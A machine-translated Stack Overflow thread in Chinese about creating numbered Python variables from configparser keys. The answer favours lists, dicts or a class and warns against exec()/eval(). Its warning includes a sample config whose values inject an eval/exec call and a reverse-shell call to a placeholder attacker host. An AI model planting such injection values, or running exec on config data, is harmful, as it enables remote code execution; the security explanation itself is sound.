在Python中添加使用循环的NumberSerd变量？

Question

我看过很多类似的问题，但是我认为这是重复的，因为我还没有找到任何特定的解决方案。大多数类似的线程几乎是在说根本不这样做，而是使用另一种方法，但是我认为我在我的情况下没有太多选择，会尝试用下面的一些示例代码来解释。我的问题如下：

假设我有一个称为folder1的变量，其中包含configurationFile中给定键的路径的值，然后我想让用户选择地将更多文件夹添加到配置文件中，并自动分配该值对于一个称为folder2，folder3等的新变量，

让我们假装我有一个看起来像这样的config.ini

[Default]

    folder1 = /var/www/example.com
    folder2 = /var/www/example2.com
    folder3 = /var/www/example3.com
    webserver = nginx
    some_other_stuff = Hello world!

，我的脚本看起来像是这样的

import configparser

config = configparser.ConfigParser()
config.read("config.ini")

# Here i would like to assign variables for each value of the keys in the ini-file
folder1 = config["Default"]["folder1"] 

for num in range(2, 11):
    if config.has_option("Default", f"folder{num}"):
        # Here i would like something like var{num} = folder{num}
        globals()[f"folder{num}"] = config["Default"][f"folder{num}"]
        
webserver = config["Default"]["webserver"] 
some_other_stuff = config["Default"]["some_other_stuff"]
        
print(f"Folder 1 is {folder1}, webserver is {webserver}, and some other stuff is {some_other_stuff}")

# print(folder2) --> NameError: name 'folder2' is not defined. Did you mean: 'folder1'?

自我解释，但是由于我什么都没有尝试过 考虑到我有很多类似的configurationOptions，并且要轻松地比较值等。

folders_list = []

for num in range(1, 11):
    if config.has_option("Default", f"folder{num}"):
        folders_list.append(f"folder{num}")
        
# Printing one folder work:
print(config["Default"][folders_list[0]])

# And printing a range "sort of" works as long as you know the number of folders created on beforehand
# But i would like to let the user add up to 10 paths optionally without needing to change the code
for num in range(0, 3):
    print(f'{config["Default"][folders_list[num-1]]}')

我尝试使用另一种方法来解决它，这给了我其他问题（ ，与仅在自己的变量中存储每个值相比，这种打字方式很难跟踪，如果我需要对这些值进行大量比较操作，并且如果我的话，这也不是很好希望用户在配置文件中选择添加任何数量的文件夹（最多10个），而不必编辑SourceCode本身。我还指出，如果我尝试根据文件夹的len做事，使用这种方法会弄乱事情。

if len(folders_list) >= 2:
    print(config["Default"][folders_list[0]])
#else:
    #print(config["Default"][folders_list[0:len(folders_list) -1]]) --> AttributeError: 'list' object has no attribute 'lower'

事先感谢！

Answer 1

我在这里详细说明我的评论：

您将很容易接触到的最近的东西，就是将文件夹分配给字典并使用数字键，或将它们添加到列表中。

...
folder_list: list = []
folder_dict: dict = {}
for num in range(2, 11):
    if config.has_option("Default", f"folder{num}"):
        # Add folder to a list and it's index will be your numeric key
        folder_list.append(config["Default"][f"folder{num}"])
        # Add folder to a dict and give it a numeric key
        folder_dict[num] = config["Default"][f"folder{num}"]

我明白您的意思是，当不得不使用这么多索引时，它不支持代码的可读性。我想到的一种解决方案会创建一个课程。但是，您想使代码更具可读性的所有事物使情况在背景中变得更加复杂。

使用类

class Config:
    def __init__(self, config):
        self.config = config
    
    def folder(self, index: int) -> str:
        key = f"folder{index}"
        try:
            return self.config["Default"][key]
        except:
            raise KeyError(f"Key {key} does not exist")

config = configparser.ConfigParser()
conf = Config(config)

# Accessing your folders:
print("Folder 1:", conf.folder(1))
print("Folder 2:", conf.folder(2))
# and so on

，但这虽然看起来更好，但恕我直言不多，因为它对于处理数据的简单任务来说太多了，这是通过词典或任何类型表示的configparser.configparser（）的输出。

您想要什么以及为什么这是一个坏主意：
如果我正确理解它，您想在运行时分配变量。出现两个问题。

第一个是您在运行时创建变量，因此您不知道代码中会发生什么。您不知道您在代码中有多少个变量，例如var_1，var_2等。。如果您不知道它是否存在，该如何访问变量？这就是为什么词典在这种情况下如此方便的原因。使用dict.values（），dict.items（），dict.keys（），...之类的属性，您每次都有其内容概述。

此外，如果您在运行时定义变量，则无法在编程时使用它们。如果您使用示例var_3 == var_4用于比较数据，但是您定义var_3和var_4在运行时，python将无法运行，两个变量尚未定义并抛出nameError：

NameError: name 'var_4' is not defined

您可以通过将此类语句也放入exec（）或更可能eval（） 中来解决此问题，但这使事情变得复杂且丑陋。

第二个是安全性，我已经讨论了

您可以在运行时创建自定义命名变量：

...
folder_list: list = []
folder_dict: dict = {}
for num in range(2, 11):
    if config.has_option("Default", f"folder{num}"):
        stmt = f'var_{num} = config["Default"][f"folder{num}"]'
        exec(stmt)

这将在每次迭代中创建一个变量var_2，var_3，...，并将文件夹分配给它。但是，正如链接答案中所写的，在处理用户输入时，EXEC是危险的。如果您只能访问配置文件，这可能是一个合理的风险，只有问题（1）可能会烦恼您。但是，如果其他人有访问权限，或者您正在创建诸如Web应用程序之类的STH，攻击者可能会访问您的计算机，从而可以访问您的配置文件。

在这种特定情况下，我认为可以启动链接答案中的攻击，因为您正在读取config和configparser正确逃脱/封闭字符串的字符串，因此无法将其评估为陈述。但是，如果ConfigParser无法正确执行此操作，则您的应用程序将不存在一个安全孔，而是由于所需的功能，而是由于对内置方法的过度复杂化（eval（）< / code> / exec（））

例如，当您的配置文件get更改为这样的sth时，将不会执行命令，但是使用exec/eval可以是这样，并且要牢记利用exec/exec的所有可能性并不容易评估。因此，不使用它们是很常见的，尤其是当它们与您无法控制的数据保持联系时。

[Default]
    ...
    folder4 = eval('''exec("""import os""") or os.uname()''')
    # or 
    folder5 = spawn_reverse_shell(<attacker ip>, <attacker port>)

对于不同的应用程序，此类攻击是不同的，并且取决于数据/EXEC的存在。但是，如果可以利用这一点，则攻击者可以导入任何现有模块并运行代码。